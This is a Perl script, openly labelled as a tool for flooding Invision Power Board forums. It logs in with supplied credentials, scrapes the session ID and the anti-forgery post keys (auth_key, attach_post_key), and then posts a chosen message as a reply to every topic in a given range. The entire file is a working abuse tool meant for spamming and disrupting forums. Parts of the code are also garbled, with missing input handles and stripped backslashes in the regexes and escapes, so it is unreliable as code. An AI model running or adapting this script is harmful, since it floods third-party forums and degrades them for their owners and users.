#----------------------------

# this programe has been #

# created by NikTrix-Souvico #

# [ 'HellSoft' ] for #

# Flooding IPB Forums #

#----------------------------



#!/usr/bin/perl -w

use strict;

use LWP::UserAgent;

use HTTP::Cookies;



#Variables

my $url = undef;

my $login = "act=Login&CODE=01";

my $UserName = undef;

my $PassWord = undef;

my $CookieDate = 1;

my $SID = undef;

my $SE = undef;

my $MSG = undef;



#Prototype

sub IPBFlood($);



#Main

print "ttWelcome to IPBFlood 0.1x By Souviktt[ 'NikTrix' ]Team";



print "Urlt: ";chomp($url=);

print "UserNamet: ";chomp($UserName=);

print "Passwordt: ";chomp($PassWord=);

print "Start [to] Endt: ";chomp($SE=);

print "Messaget: ";chomp($MSG=);



my $ua = LWP::UserAgent->new;

$ua->agent("Mozilla/4.0");

my $cj = HTTP::Cookies->new(file => "N/A" , autosave => 0);

$ua->cookie_jar($cj);



#-get SID

my $r = $ua->get($url);

if($r->is_success){

#Find SID ?

($SID) = $r->content =~/?s=(w{32})&.*/i;

print "SID : $SID";

}



#-Connecting ...

$r = $ua->post($url.$login,[UserName=> $UserName ,PassWord => $PassWord ,CookieDate =>$CookieDate , s => $SID]);

if($r->is_success){

print "[+] Connected" if($r->content =~ /cliquez ici si vous ne souhaitez pas/gi);

my($Start , $End) = split(/-/,$SE);

foreach($Start..$End){

IPBFlood($_);

}

}



#Subroutines

sub IPBFlood($){

my $Topic = shift;

my $get = $ua->get($url."s=$SID&showtopic=$Topic");

if($get->is_success){

#Get Subforum ID "f" : variable !

if( my ($f) = $get->content =~/f=(d{1,4})/ ){

print "[-]Subforum ID : $f & Topic N : $Topic";

#Get Post AuthKey for Subforum f=N°

$get = $ua->get($url."s=$SID&act=post&do=reply_post&f=$f&t=$Topic");

# act=post&do=reply_post&f=56&t=43988

if($get->is_success){

##auth_key Ex :

my ( $auth_key ) = $get->content =~/auth_key.*(w{32})/i;

#attach_post_key Ex :

my ( $attach_post_key ) = $get->content =~/attach_post_key.*(w{32})/i;

print "[-]auth_key : $auth_key[-]attach_post_key : $attach_post_key";





my %form =(st => 0,

act => "Post",

s => "$SID",

f => "$f",

auth_key => "$auth_key",

removeattachid => "0",

CODE => "03",

t => "$Topic",

attach_post_key => "$attach_post_key",

parent_id => "0",

"ed-0_wysiwyg_used"=> "0",

"editor_ids%5B%5D" => "ed-0",

Post => "$MSG",

enableemo => "yes",

enablesig => "yes",

iconid => "0"

);

$r = $ua->post($url."s=$SID",%form);

if($r->is_success){

print "Send success !" if( length($r->content)< 300);

}

}

}

}